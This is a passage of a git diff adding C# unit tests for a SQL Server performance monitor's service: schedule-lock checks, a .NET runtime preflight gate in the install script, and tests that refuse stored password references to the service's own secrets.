+        worker.AfterRecomputeWatermarkReadForTest = (s, name) =>
+        {
+            if (string.Equals(name, Collector, StringComparison.OrdinalIgnoreCase))
+            {
+                worker.RecordRunTimeHandOff(
+                    s, 0, Collector, new DarlingWorker.RunTimeHandOff(s.RunTimeSlots[Collector], DateTime.UtcNow.AddDays(1)));
+            }
+
+            return Task.CompletedTask;
+        };
+
+        await worker.RecomputeNextDueAsync([server], TestContext.Current.CancellationToken);
+
+        Assert.NotNull(server.RunTimeSlots[Collector].LastRunUtc);
+        Assert.Equal(runAt, server.RunTimeSlots[Collector].RunAtMinute);
+        Assert.True(server.NextDue[Collector] > DateTime.UtcNow.AddHours(10), "the run just recorded counts: the next slot is tomorrow's");
+    }
+
+    [Fact]
+    public async Task Reload_ARunRecordedDuringTheWatermarkRead_KeepsTheRunsLastRun_Cleared()
+    {
+        var runAt = RunTimeTenMinutesAgo();
+        var worker = MakeWorker(FleetRunTime(Collector, runAt));
+        var server = MakeServer(0);
+        server.NextDue[Collector] = DateTime.UtcNow.AddHours(5);
+        server.RunTimeSlots[Collector] = new DarlingWorker.RunTimeSlot(runAt, Daily, server.Clock.Id, DateTime.UtcNow.AddDays(-2));
+        worker.ScheduleOverridesForTest = [FleetRunTime(Collector, -1)];
+        worker.AfterRecomputeWatermarkReadForTest = (s, name) =>
+        {
+            if (string.Equals(name, Collector, StringComparison.OrdinalIgnoreCase))
+            {
+                worker.RecordRunTimeHandOff(
+                    s, 0, Collector, new DarlingWorker.RunTimeHandOff(s.RunTimeSlots[Collector], DateTime.UtcNow.AddDays(1)));
+            }
+
+            return Task.CompletedTask;
+        };
+
+        await worker.RecomputeNextDueAsync([server], TestContext.Current.CancellationToken);
+
+        Assert.False(server.RunTimeSlots.ContainsKey(Collector));
+        Assert.True(server.NextDue[Collector] > DateTime.UtcNow.AddHours(23), "the run just recorded counts: the collector waits a full interval");
+    }
+
+    [Fact]
+    public void Record_AfterAReloadChangedTheRunTime_KeepsTheNewRunTime()
+    {
+        var runAt = RunTimeTwelveHoursAway();
+        var newRunAt = (runAt + 120) % Daily;
+        var worker = MakeWorker();
+        var server = MakeServer(0);
+        var handOff = new DarlingWorker.RunTimeHandOff(
+            new DarlingWorker.RunTimeSlot(runAt, Daily, server.Clock.Id, null), DateTime.UtcNow.AddDays(1));
+        server.RunTimeSlots[Collector] = new DarlingWorker.RunTimeSlot(newRunAt, Daily, server.Clock.Id, null);
+
+        worker.RecordRunTimeHandOff(server, 0, Collector, handOff);
+
+        Assert.Equal(newRunAt, server.RunTimeSlots[Collector].RunAtMinute);
+        Assert.NotNull(server.RunTimeSlots[Collector].LastRunUtc);
+    }
+
+    [Fact]
+    public void Record_WhenAReloadClearedTheRunTime_LeavesNoSlotBehind_AndWhenItDisabledTheCollector_NoStamp()
+    {
+        var runAt = RunTimeTwelveHoursAway();
+        var worker = MakeWorker();
+        var handOff = new DarlingWorker.RunTimeHandOff(
+            new DarlingWorker.RunTimeSlot(runAt, Daily, "utc", null), DateTime.UtcNow.AddDays(1));
+
+        var cleared = MakeServer(0);
+        cleared.NextDue[Collector] = DateTime.UtcNow.AddHours(5);
+        worker.RecordRunTimeHandOff(cleared, 0, Collector, handOff);
+        Assert.False(cleared.RunTimeSlots.ContainsKey(Collector));
+        Assert.True(cleared.NextDue[Collector] > DateTime.UtcNow.AddHours(23), "one interval out from the run just recorded");
+
+        var disabled = MakeServer(0);
+        worker.RecordRunTimeHandOff(disabled, 0, Collector, handOff);
+        Assert.False(disabled.RunTimeSlots.ContainsKey(Collector));
+        Assert.False(disabled.NextDue.ContainsKey(Collector));
+    }
+
+    [Fact]
+    public void EveryRunTimeSlotAccess_IsUnderTheScheduleLock_AndNoLockBodyAwaits()
+    {
+        var raw = RepoFile.ReadRepoFile("Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs").ReplaceLineEndings("\n");
+        var text = CSharpSourceWalker.StripCommentsAndStrings(raw);
+        var lines = text.Split('\n');
+
+        Assert.Contains("RecordRunTimeHandOff(server, runtime.ServerId, collectorName, runTimeHandOff);", raw, StringComparison.Ordinal);
+        Assert.DoesNotContain("server.RunTimeSlots[collectorName] = runTimeHandOff.Slot with", raw, StringComparison.Ordinal);
+
+        var access = new System.Text.RegularExpressions.Regex(@"RunTimeSlots(\.\w+\(|\[)");
+        var offenders = new List<string>();
+        var checkedCount = 0;
+        for (var i = 0; i < lines.Length; i++)
+        {
+            if (!access.IsMatch(lines[i]))
+            {
+                continue;
+            }
+
+            checkedCount++;
+            if (!IsInsideScheduleLock(lines, i))
+            {
+                offenders.Add($"line {i + 1}: {lines[i].Trim()}");
+            }
+        }
+
+        Assert.True(checkedCount >= 15, $"expected to find the worker's RunTimeSlots accesses, found {checkedCount}");
+        Assert.True(offenders.Count == 0, "RunTimeSlots touched outside lock (server.ScheduleLock): " + string.Join("; ", offenders));
+
+        /* The same rule for the stamp map. Each unlocked site below is matched by a text anchor and is
+           deliberate: none of them is a read-modify-write of a run-time collector's schedule. */
+        var unlockedNextDue = new (string Anchor, string Reason)[]
+        {
+            ("server.NextDue[collectorName] = DateTime.UtcNow;", "paused re-read after the permit wait: a blind 'run when unpaused' stamp"),
+            ("state.NextDue.Clear();", "reconnect epoch reset: clears stamps only, never touches the slots"),
+            ("server.NextDue[name] = CollectorCadence.NextDue(due, now, intervalSpan);", "grid advance for collectors without a run time"),
+            ("if (server.NextDue.TryGetValue(name, out var existing))", "reload's branch-choice read; every write it leads to re-reads the stamp under the lock"),
+            ("|| !server.NextDue.TryGetValue(name, out var due))", "sweep's pre-filter read; the run-time branch re-reads the stamp under the lock"),
+        };
+        var stampAccess = new System.Text.RegularExpressions.Regex(@"\bNextDue(\.\w+\(|\[)");
+        var stampOffenders = new List<string>();
+        var stampChecked = 0;
+        for (var i = 0; i < lines.Length; i++)
+        {
+            if (!stampAccess.IsMatch(lines[i]))
+            {
+                continue;
+            }
+
+            stampChecked++;
+            if (!IsInsideScheduleLock(lines, i)
+                && !System.Linq.Enumerable.Any(unlockedNextDue, e => lines[i].Contains(e.Anchor, StringComparison.Ordinal)))
+            {
+                stampOffenders.Add($"line {i + 1}: {lines[i].Trim()}");
+            }
+        }
+
+        Assert.True(stampChecked >= 10, $"expected to find the worker's NextDue accesses, found {stampChecked}");
+        Assert.True(stampOffenders.Count == 0, "NextDue touched outside lock (server.ScheduleLock) and not allow-listed: " + string.Join("; ", stampOffenders));
+
+        for (var i = 0; i < lines.Length; i++)
+        {
+            if (lines[i].Contains("lock (server.ScheduleLock)", StringComparison.Ordinal))
+            {
+                var depth = 0;
+                for (var j = i + 1; j < lines.Length; j++)
+                {
+                    depth += System.Linq.Enumerable.Count(lines[j], static c => c == '{') - System.Linq.Enumerable.Count(lines[j], static c => c == '}');
+                    Assert.DoesNotContain("await ", lines[j], StringComparison.Ordinal);
+                    if (depth <= 0)
+                    {
+                        break;
+                    }
+                }
+            }
+        }
+    }
+
+    /* Walks outward from a line, tracking braces, and reports whether any block that encloses it opens on a
+       `lock (server.ScheduleLock)` line. */
+    private static bool IsInsideScheduleLock(string[] lines, int index)
+    {
+        var depth = 0;
+        for (var i = index - 1; i >= 0; i--)
+        {
+            var line = lines[i];
+            for (var c = line.Length - 1; c >= 0; c--)
+            {
+                if (line[c] == '}')
+                {
+                    depth++;
+                }
+                else if (line[c] == '{')
+                {
+                    if (depth == 0)
+                    {
+                        var header = i > 0 && line.Trim() == "{" ? lines[i - 1] : line;
+                        if (header.Contains("lock (server.ScheduleLock)", StringComparison.Ordinal))
+                        {
+                            return true;
+                        }
+                    }
+                    else
+                    {
+                        depth--;
+                    }
+                }
+            }
+        }
+
+        return false;
+    }
+}
diff --git a/Darling/Darling.Tests/DarlingRuntimePreflightTests.cs b/Darling/Darling.Tests/DarlingRuntimePreflightTests.cs
index b1a09036b8..08fbeda906 100644
--- a/Darling/Darling.Tests/DarlingRuntimePreflightTests.cs
+++ b/Darling/Darling.Tests/DarlingRuntimePreflightTests.cs
@@ -91,10 +91,12 @@ public void RuntimeGate_NamesBothFrameworks_TheVersion_AndWhereToGetIt()
 
         foreach (var (marker, what) in new[]
         {
+            ("Microsoft.NETCore.App", "the base shared framework BOTH exes need (#5407)"),
             ("Microsoft.AspNetCore.App", "the ASP.NET Core shared framework the SERVICE needs"),
             ("Microsoft.WindowsDesktop.App", "the Desktop shared framework the VIEWER needs"),
             ("$dotnetMajor = 10", "the required .NET major version"),
             ("https://dotnet.microsoft.com/download/dotnet/10.0", "where to download both runtimes"),
+            ("The .NET Runtime $dotnetMajor.0 is not installed", "the base-runtime refusal naming the missing runtime by its installer's name (#5407)"),
             ("ASP.NET Core Runtime $dotnetMajor.0 is not installed", "the refusal naming the missing runtime by its installer's name"),
             (".NET Desktop Runtime $dotnetMajor.0 is not installed", "the warning naming the missing runtime by its installer's name"),
         })
@@ -130,6 +132,92 @@ public void RuntimeGate_RefusesOnAspNetCore_ButOnlyWarnsOnDesktop()
         Assert.Contains("this install continues", desktop, StringComparison.Ordinal);
     }
 
+    /// <summary>
+    /// The base .NET Runtime is a refusal too, and it is checked before ASP.NET Core (#5407). The standalone
+    /// ASP.NET Core Runtime installer does not include <c>Microsoft.NETCore.App</c>, so a box with only that
+    /// installer passed the old gate and then died at service start with the host's "You must install .NET".
+    /// Checking it first lets an operator missing both read one message that names both.
+    /// </summary>
+    [Fact]
+    public void RuntimeGate_RefusesOnTheBaseRuntime_BeforeItChecksAspNetCore()
+    {
+        var script = InstallScript;
+
+        var netCoreHeader = "if (-not (Test-FrameworkMajorPresent $netCoreVersions $dotnetMajor)) {";
+        var netCore = ExtractBracedBlock(script, netCoreHeader);
+        Assert.Contains("Fail @\"", netCore, StringComparison.Ordinal);
+        Assert.Contains("Nothing was installed or changed.", netCore, StringComparison.Ordinal);
+        Assert.Contains("-SkipPreflight", netCore, StringComparison.Ordinal);
+        Assert.Contains("Hosting Bundle", netCore, StringComparison.Ordinal);
+
+        var netCoreAt = script.IndexOf(netCoreHeader, StringComparison.Ordinal);
+        var aspNetAt = script.IndexOf("if (-not (Test-FrameworkMajorPresent $aspNetVersions $dotnetMajor)) {", StringComparison.Ordinal);
+        Assert.True(netCoreAt < aspNetAt, "the base-runtime check must run before the ASP.NET Core check (#5407)");
+    }
+
+    /// <summary>
+    /// The gate, executed with the framework lookup stubbed. Missing base runtime with ASP.NET Core present is
+    /// refused with the base-runtime message; both present passes; base present with ASP.NET Core missing is
+    /// refused as before; missing both gives the one message that shows what was found for each.
+    /// </summary>
+    [Fact]
+    public void RuntimeGate_Executed_DecidesOnEachFramework()
+    {
+        const string present = "@('10.0.11')";
+        const string absent = "@()";
+
+        var baseMissing = RunGate(netCore: absent, aspNet: present, desktop: present);
+        Assert.Contains("FAILED", baseMissing, StringComparison.Ordinal);
+        Assert.Contains("The .NET Runtime 10.0 is not installed", baseMissing, StringComparison.Ordinal);
+        Assert.Contains("Hosting Bundle", baseMissing, StringComparison.Ordinal);
+        Assert.Contains("Nothing was installed or changed.", baseMissing, StringComparison.Ordinal);
+        Assert.Contains("Microsoft.NETCore.App):      nothing", baseMissing, StringComparison.Ordinal);
+        Assert.Contains("Microsoft.AspNetCore.App):   10.0.11", baseMissing, StringComparison.Ordinal);
+        Assert.DoesNotContain("Runtime check passed", baseMissing, StringComparison.Ordinal);
+
+        var bothPresent = RunGate(netCore: present, aspNet: present, desktop: present);
+        Assert.DoesNotContain("FAILED", bothPresent, StringComparison.Ordinal);
+        Assert.Contains("Runtime check passed", bothPresent, StringComparison.Ordinal);
+
+        var aspNetMissing = RunGate(netCore: present, aspNet: absent, desktop: present);
+        Assert.Contains("FAILED", aspNetMissing, StringComparison.Ordinal);
+        Assert.Contains("ASP.NET Core Runtime 10.0 is not installed", aspNetMissing, StringComparison.Ordinal);
+        Assert.DoesNotContain("The .NET Runtime 10.0 is not installed", aspNetMissing, StringComparison.Ordinal);
+        Assert.Contains("Microsoft.NETCore.App):      10.0.11", aspNetMissing, StringComparison.Ordinal);
+
+        var bothMissing = RunGate(netCore: "@('9.0.14')", aspNet: absent, desktop: present);
+        Assert.Contains("FAILED", bothMissing, StringComparison.Ordinal);
+        Assert.Contains("The .NET Runtime 10.0 is not installed", bothMissing, StringComparison.Ordinal);
+        Assert.Contains("Microsoft.NETCore.App):      9.0.14", bothMissing, StringComparison.Ordinal);
+        Assert.Contains("Microsoft.AspNetCore.App):   nothing", bothMissing, StringComparison.Ordinal);
+
+        /* Both runtimes present and only Desktop missing: a warning, and the install continues. */
+        var desktopMissing = RunGate(netCore: present, aspNet: present, desktop: absent);
+        Assert.DoesNotContain("FAILED", desktopMissing, StringComparison.Ordinal);
+        Assert.Contains("WARNING: the .NET Desktop Runtime 10.0 is not installed.", desktopMissing, StringComparison.Ordinal);
+    }
+
+    /// <summary>Runs the gate's body under Windows PowerShell 5.1 with the framework lookup stubbed and
+    /// <c>Fail</c> turned into a printed marker plus exit, and returns everything it printed.</summary>
+    private static string RunGate(string netCore, string aspNet, string desktop)
+    {
+        var script = InstallScript;
+        var gate = script.IndexOf("# -- 1c. Refuse an install the .NET runtimes on this box cannot run", StringComparison.Ordinal);
+        var guard = script.IndexOf("if (-not $SkipPreflight) {", gate, StringComparison.Ordinal);
+        var body = ExtractBracedBlockAt(script, script.IndexOf('{', guard), out _);
+
+        var probe = new StringBuilder();
+        probe.AppendLine("$dotnetMajor = 10");
+        probe.AppendLine("$dotnetDownloadUrl = 'https://dotnet.microsoft.com/download/dotnet/10.0'");
+        probe.AppendLine("function Fail([string]$message) { 'FAILED'; $message; exit 1 }");
+        probe.AppendLine($"function Get-InstalledFrameworkVersions([string]$name) {{ switch ($name) {{ 'Microsoft.NETCore.App' {{ {netCore} }} 'Microsoft.AspNetCore.App' {{ {aspNet} }} 'Microsoft.WindowsDesktop.App' {{ {desktop} }} }} }}");
+        probe.AppendLine(ExtractFunction(script, "Test-FrameworkMajorPresent"));
+        probe.AppendLine(ExtractFunction(script, "Format-FrameworkVersionList"));
+        probe.AppendLine(body);
+
+        return string.Join("\n", RunWindowsPowerShell(probe.ToString()));
+    }
+
     /// <summary>
     /// The gate rides the existing <c>-SkipPreflight</c> switch rather than adding a second one. One
     /// documented escape hatch for "this script cannot see my box", not two — and the refusal message has
@@ -147,6 +235,7 @@ public void RuntimeGate_IsGovernedByTheExistingSkipPreflightSwitch()
         Assert.True(guard >= 0, "the .NET runtime gate is no longer governed by -SkipPreflight (#2479)");
 
         var body = ExtractBracedBlockAt(script, script.IndexOf('{', guard), out _);
+        Assert.Contains("Get-InstalledFrameworkVersions 'Microsoft.NETCore.App'", body, StringComparison.Ordinal);
         Assert.Contains("Get-InstalledFrameworkVersions 'Microsoft.AspNetCore.App'", body, StringComparison.Ordinal);
         Assert.Contains("Get-InstalledFrameworkVersions 'Microsoft.WindowsDesktop.App'", body, StringComparison.Ordinal);
 
diff --git a/Darling/Darling.Tests/DarlingSecretsCanUnprotectTests.cs b/Darling/Darling.Tests/DarlingSecretsCanUnprotectTests.cs
new file mode 100644
index 0000000000..e8f7da0beb
--- /dev/null
+++ b/Darling/Darling.Tests/DarlingSecretsCanUnprotectTests.cs
@@ -0,0 +1,49 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Runtime.Versioning;
+using System.Security.Cryptography;
+using PerformanceMonitor.Darling.Service;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// <see cref="DarlingSecrets.CanUnprotect"/> answers whether this machine opens a saved old-format value without
+/// returning it (#5456), and throws what <see cref="DarlingSecrets.Unprotect"/> throws for anything else.
+/// </summary>
+public sealed class DarlingSecretsCanUnprotectTests
+{
+    [Fact]
+    [SupportedOSPlatform("windows")]
+    public void ARealBlobOpens_OtherTextThrows()
+    {
+        Assert.SkipUnless(OperatingSystem.IsWindows(), "Windows data protection is needed to make a real blob.");
+
+        var blob = DarlingSecrets.Protect("p@ss-not-real");
+        Assert.True(DarlingSecrets.CanUnprotect(blob));
+
+        Assert.Throws<CryptographicException>(() => DarlingSecrets.CanUnprotect(Convert.ToBase64String(new byte[] { 1, 2, 3, 4 })));
+        Assert.ThrowsAny<FormatException>(() => DarlingSecrets.CanUnprotect("not base64 at all!"));
+        Assert.Throws<ArgumentException>(() => DarlingSecrets.CanUnprotect("  "));
+    }
+
+    [Fact]
+    public void TheCheck_BuildsNoString_FromTheOpenedBytes()
+    {
+        var source = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Service", "DarlingSecrets.cs");
+        var start = source.IndexOf("internal static bool CanUnprotect(", StringComparison.Ordinal);
+        Assert.True(start > 0);
+        var end = source.IndexOf("/// <summary>", start, StringComparison.Ordinal);
+        var body = source[start..end];
+
+        Assert.Contains("CryptographicOperations.ZeroMemory(plainBytes);", body, StringComparison.Ordinal);
+        Assert.DoesNotContain("GetString", body, StringComparison.Ordinal);
+    }
+}
diff --git a/Darling/Darling.Tests/DarlingSecretsDecryptFailureTests.cs b/Darling/Darling.Tests/DarlingSecretsDecryptFailureTests.cs
index 1884e7e96b..70e9d0755a 100644
--- a/Darling/Darling.Tests/DarlingSecretsDecryptFailureTests.cs
+++ b/Darling/Darling.Tests/DarlingSecretsDecryptFailureTests.cs
@@ -23,9 +23,8 @@ namespace Darling.Tests;
 /// name what failed to decrypt, does not mention that a machine boundary is involved, and reads exactly like SQL
 /// Server rejecting a login — which is where the operator looked.</para>
 ///
-/// <para><b>What is actually true, and why the message can be specific about it.</b> Both
-/// <see cref="DarlingSecrets"/> and the Viewer's <c>ViewerServerSecret</c> protect with
-/// <c>DataProtectionScope.LocalMachine</c> and share the entropy string byte-for-byte. LocalMachine means ANY
+/// <para><b>What is actually true, and why the message can be specific about it.</b> The
+/// service's <see cref="DarlingSecrets"/> protects with <c>DataProtectionScope.LocalMachine</c>, as did the blobs older Viewers wrote with the same entropy string. LocalMachine means ANY
 /// user on the writing machine can decrypt, and NO other machine ever can. So this is never a service-account
 /// permissions problem and never a user-boundary problem: it is a machine boundary, and the overwhelmingly likely
 /// cause is a credential encrypted by a Viewer running somewhere else. Every remedy is therefore "produce the
@@ -115,6 +114,8 @@ public void AnUndecryptableServerPasswordExplainsItselfRatherThanLeakingTheRawCr
             Username = "monitor",
             /* Valid base64, not a valid DPAPI blob for this machine — the remote-Viewer case, locally. */
             EncryptedPassword = Convert.ToBase64String(new byte[] { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10 }),
+            /* #5366: an old-format value opens only when darling.json declares it or a pin matches; the file declares it here. */
+            EncryptedPasswordDeclaredByFile = true,
         };
 
         var ex = Assert.Throws<InvalidOperationException>(
@@ -145,6 +146,7 @@ public void APasswordEncryptedOnThisHostStillResolves()
             Auth = "sql",
             Username = "monitor",
             EncryptedPassword = DarlingSecrets.Protect("correct horse battery staple"),
+            EncryptedPasswordDeclaredByFile = true,
         };
 
         Assert.Equal("correct horse battery staple", DarlingSecrets.ResolvePassword(server, out var usedPlaintext));
diff --git a/Darling/Darling.Tests/DarlingSecretsOwnedReferenceTests.cs b/Darling/Darling.Tests/DarlingSecretsOwnedReferenceTests.cs
new file mode 100644
index 0000000000..b23224e8f7
--- /dev/null
+++ b/Darling/Darling.Tests/DarlingSecretsOwnedReferenceTests.cs
@@ -0,0 +1,500 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Text.Json;
+using System.Threading;
+using System.Threading.Tasks;
+using PerformanceMonitor.Darling.Service;
+using Xunit;
+using Edit = PerformanceMonitor.Darling.Service.Mcp.DarlingMcpServerAdminTools;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// A stored password reference is checked where it resolves (#5240): an <c>env:</c> or <c>file:</c> reference in a
+/// server's stored secret slot that names one of this service's own configuration files or secrets is refused before
+/// it is read, with the sentence the app gives when it declines to save such a reference. A reference to anything else
+/// still resolves. A refused reference fails that one server's connect attempt the way an unresolvable reference does,
+/// and never reaches the worker as a throw.
+///
+/// <para>One reference that is owned is not refused: the one darling.json itself declares, in the same slot, for the
+/// same server id. A server read from the file, or built from the store row the file seeded, keeps resolving its own
+/// reference; a store row that names another server's reference, or whose slot now holds a different owned reference,
+/// is still refused.</para>
+///
+/// <para>The owned set is process-wide state, so the class is in the <c>darling-owned-secrets</c> collection with the
+/// other classes that set it, and it puts back what it found.</para>
+/// </summary>
+[Collection("darling-owned-secrets")]
+public sealed class DarlingSecretsOwnedReferenceTests : IDisposable
+{
+    private const string OwnedVariable = "DARLING_TEST_OWNED_VARIABLE_5240";
+    private const string OwnedVariableValue = "owned-variable-value-Q7";
+    private const string OtherVariable = "DARLING_TEST_OTHER_VARIABLE_5240";
+    private const string OtherVariableValue = "other-variable-value-Q7";
+    private const string UnsetVariable = "DARLING_TEST_UNSET_VARIABLE_5240";
+    private const string SecondOwnedVariable = "DARLING_TEST_SECOND_OWNED_VARIABLE_5240";
+    private const string SecondOwnedVariableValue = "second-owned-variable-value-Q7";
+    private const string OwnedFileValue = "owned-file-value-Q7";
+    private const string OtherFileValue = "other-file-value-Q7";
+
+    private readonly string _root = Path.Combine(Path.GetTempPath(), "darling-secret-ref-" + Guid.NewGuid().ToString("N"));
+    private readonly DarlingOwnedSet _before = DarlingOwnedSecrets.Current;
+    private readonly string _ownedFile;
+    private readonly string _otherFile;
+
+    public DarlingSecretsOwnedReferenceTests()
+    {
+        var ownedDirectory = Path.Combine(_root, "own");
+        var otherDirectory = Path.Combine(_root, "other");
+        Directory.CreateDirectory(ownedDirectory);
+        Directory.CreateDirectory(otherDirectory);
+        _ownedFile = Path.Combine(ownedDirectory, "secret.txt");
+        _otherFile = Path.Combine(otherDirectory, "secret.txt");
+        File.WriteAllText(_ownedFile, OwnedFileValue);
+        File.WriteAllText(_otherFile, OtherFileValue);
+        Environment.SetEnvironmentVariable(OwnedVariable, OwnedVariableValue);
+        Environment.SetEnvironmentVariable(OtherVariable, OtherVariableValue);
+        Environment.SetEnvironmentVariable(SecondOwnedVariable, SecondOwnedVariableValue);
+        Environment.SetEnvironmentVariable(UnsetVariable, null);
+        DarlingOwnedSecrets.Set(new DarlingOwnedSet(new[] { ownedDirectory }, new[] { OwnedVariable }));
+    }
+
+    public void Dispose()
+    {
+        DarlingOwnedSecrets.Set(_before);
+        Environment.SetEnvironmentVariable(OwnedVariable, null);
+        Environment.SetEnvironmentVariable(OtherVariable, null);
+        Environment.SetEnvironmentVariable(SecondOwnedVariable, null);
+        try
+        {
+            Directory.Delete(_root, true);
+        }
+        catch (Exception ex) when (ex is IOException or UnauthorizedAccessException)
+        {
+            /* best effort; a leftover scratch directory under the temp path harms nothing */
+        }
+    }
+
+    private static MonitoredServer Server(string? encryptedPassword = null, string? remediationPassword = null) => new()
+    {
+        Name = "sql01",
+        Host = "sql01.example.test",
+        Auth = "sql",
+        Username = "monitor",
+        EncryptedPassword = encryptedPassword,
+        RemediationUsername = remediationPassword is null ? null : "remediator",
+        RemediationEncryptedPassword = remediationPassword,
+    };
+
+    /// <summary>An owned <c>env:</c> reference is refused before it resolves. The answer names the setting, carries the
+    /// one refusal sentence, and holds neither the variable's name nor its value: the variable is set, so a resolve
+    /// that ran first would have returned the value instead of throwing.</summary>
+    [Fact]
+    public void AnOwnedEnvReference_IsRefusedBeforeItResolves()
+    {
+        var ex = Assert.Throws<InvalidOperationException>(
+            () => DarlingSecrets.ResolvePassword(Server("env:" + OwnedVariable), out _));
+
+        Assert.Contains("servers['sql01'].encryptedPassword", ex.Message, StringComparison.Ordinal);
+        Assert.Contains(DarlingOwnedSecrets.ReferenceRefusalText, ex.Message, StringComparison.Ordinal);
+        Assert.DoesNotContain(OwnedVariable, ex.Message, StringComparison.Ordinal);
+        Assert.DoesNotContain(OwnedVariableValue, ex.Message, StringComparison.Ordinal);
+    }
+
+    /// <summary>An owned <c>file:</c> reference is refused before the file is read. The file exists and holds a value, so
+    /// a resolve that ran first would have returned it.</summary>
+    [Fact]
+    public void AnOwnedFileReference_IsRefusedBeforeItResolves()
+    {
+        var ex = Assert.Throws<InvalidOperationException>(
+            () => DarlingSecrets.ResolvePassword(Server("file:" + _ownedFile), out _));
+
+        Assert.Contains("servers['sql01'].encryptedPassword", ex.Message, StringComparison.Ordinal);
+        Assert.Contains(DarlingOwnedSecrets.ReferenceRefusalText, ex.Message, StringComparison.Ordinal);
+        Assert.DoesNotContain(_ownedFile, ex.Message, StringComparison.Ordinal);
+        Assert.DoesNotContain(OwnedFileValue, ex.Message, StringComparison.Ordinal);
+    }
+
+    /// <summary>A <c>file:</c> reference into the directory the password key and the log-hash key live in is refused
+    /// before the file is read (#5366): the directory is in the owned set Compute builds for the configuration, so a
+    /// reference to the key file itself, or to anything beside it, never resolves. The file exists and holds text, so a
+    /// resolve that ran first would have returned it.</summary>
+    [Fact]
+    public void AFileReferenceIntoThePasswordKeyDirectory_IsRefusedBeforeItResolves()
+    {
+        var configPath = Path.Combine(_root, "config", "darling.json");
+        var config = new DarlingConfig();
+        config.Postgres.Managed = false;
+        var keyDirectory = DarlingLogHashKeyFile.DirectoryFor(config, configPath);
+        Directory.CreateDirectory(keyDirectory);
+        var keyFile = Path.Combine(keyDirectory, DarlingPasswordKeyFile.UnixFileName);
+        const string KeyFileText = "key-file-text-not-real";
+        File.WriteAllText(keyFile, KeyFileText);
+        DarlingOwnedSecrets.Set(DarlingOwnedSecrets.Compute(config, configPath));
+
+        var ex = Assert.Throws<InvalidOperationException>(
+            () => DarlingSecrets.ResolvePassword(Server("file:" + keyFile), out _));
+
+        Assert.Contains(DarlingOwnedSecrets.ReferenceRefusalText, ex.Message, StringComparison.Ordinal);
+        Assert.DoesNotContain(keyFile, ex.Message, StringComparison.Ordinal);
+        Assert.DoesNotContain(KeyFileText, ex.Message, StringComparison.Ordinal);
+    }
+
+    /// <summary>
+    /// #2087: add_servers stores env:/file: secret REFERENCES verbatim in the encrypted-password slot on
+    /// Linux (a pointer is not a secret, and DPAPI does not exist there). The resolver must therefore
+    /// recognize a reference in that slot and resolve it instead of feeding it to DPAPI Unprotect — which
+    /// would throw on every platform, since a reference is not a base64 blob. A reference that names nothing
+    /// this service owns is the case that still resolves, for both shapes.
+    /// </summary>
+    [Fact]
+    public void ResolvePassword_ReferenceInEncryptedSlot_ResolvesInsteadOfUnprotecting()
+    {
+        Assert.Equal(OtherVariableValue, DarlingSecrets.ResolvePassword(Server("env:" + OtherVariable), out var usedPlaintext));
+
+        /* A reference is not plaintext-in-config — callers must not warn on it (the #1804 rule). */
+        Assert.False(usedPlaintext);
+
+        Assert.Equal(OtherFileValue, DarlingSecrets.ResolvePassword(Server("file:" + _otherFile), out usedPlaintext));
+        Assert.False(usedPlaintext);
+    }
+
+    /// <summary>The remediation credential's reference is held to the same rule: an owned reference is refused, and one
+    /// that names nothing owned resolves.</summary>
+    [Fact]
+    public void ARemediationReference_IsHeldToTheSameRule()
+    {
+        var env = Assert.Throws<InvalidOperationException>(
+            () => DarlingSecrets.ResolveRemediationPassword(Server(remediationPassword: "env:" + OwnedVariable)));
+        Assert.Contains("servers['sql01'].remediationEncryptedPassword", env.Message, StringComparison.Ordinal);
+        Assert.Contains(DarlingOwnedSecrets.ReferenceRefusalText, env.Message, StringComparison.Ordinal);
+        Assert.DoesNotContain(OwnedVariableValue, env.Message, StringComparison.Ordinal);
+
+        var file = Assert.Throws<InvalidOperationException>(
+            () => DarlingSecrets.ResolveRemediationPassword(Server(remediationPassword: "file:" + _ownedFile)));
+        Assert.Contains(DarlingOwnedSecrets.ReferenceRefusalText, file.Message, StringComparison.Ordinal);
+        Assert.DoesNotContain(OwnedFileValue, file.Message, StringComparison.Ordinal);
+
+        Assert.Equal(OtherVariableValue, DarlingSecrets.ResolveRemediationPassword(Server(remediationPassword: "env:" + OtherVariable)));
+        Assert.Equal(OtherFileValue, DarlingSecrets.ResolveRemediationPassword(Server(remediationPassword: "file:" + _otherFile)));
+    }
+
+    /// <summary>Until a configuration has loaded the owned set is not known, so no stored reference is resolved: the
+    /// rule does not depend on the configuration having happened to load first.</summary>
+    [Fact]
+    public void WithNoConfigurationLoaded_AStoredReferenceIsRefused()
+    {
+        DarlingOwnedSecrets.Set(null!);
+
+        var ex = Assert.Throws<InvalidOperationException>(
+            () => DarlingSecrets.ResolvePassword(Server("env:" + OtherVariable), out _));
+
+        Assert.Contains(DarlingOwnedSecrets.ReferenceRefusalText, ex.Message, StringComparison.Ordinal);
+        Assert.DoesNotContain(OtherVariableValue, ex.Message, StringComparison.Ordinal);
+    }
+
+    /// <summary>
+    /// The caller: a refused reference fails that one server's connect attempt and nothing else. The worker runs every
+    /// connect through <see cref="ServerConnectProbe.AttemptAsync"/>, which never throws (bar a cancel) and hands the
+    /// failure back, and the worker then logs it with the server's name and backs off for a retry. A refused reference
+    /// and an unresolvable one (a variable that is not set) end the same way: a failure naming the setting, with no
+    /// runtime and no throw.
+    /// </summary>
+    [Fact]
+    public async Task ARefusedReference_FailsThatOneServersConnectAttempt_TheSameWayAnUnresolvableOneDoes()
+    {
+        Assert.SkipUnless(OperatingSystem.IsWindows(),
+            "The stored secret slot is resolved on the Windows connect path; other platforms refuse a stored encryptedPassword before any reference is read.");
+
+        var ct = TestContext.Current.CancellationToken;
+        using var gate = new SemaphoreSlim(1, 1);
+
+        var refused = await ServerConnectProbe.AttemptAsync(
+            Server("env:" + OwnedVariable), (target, token) => DarlingServerConnector.ConnectAsync(target, null, token), gate, ct);
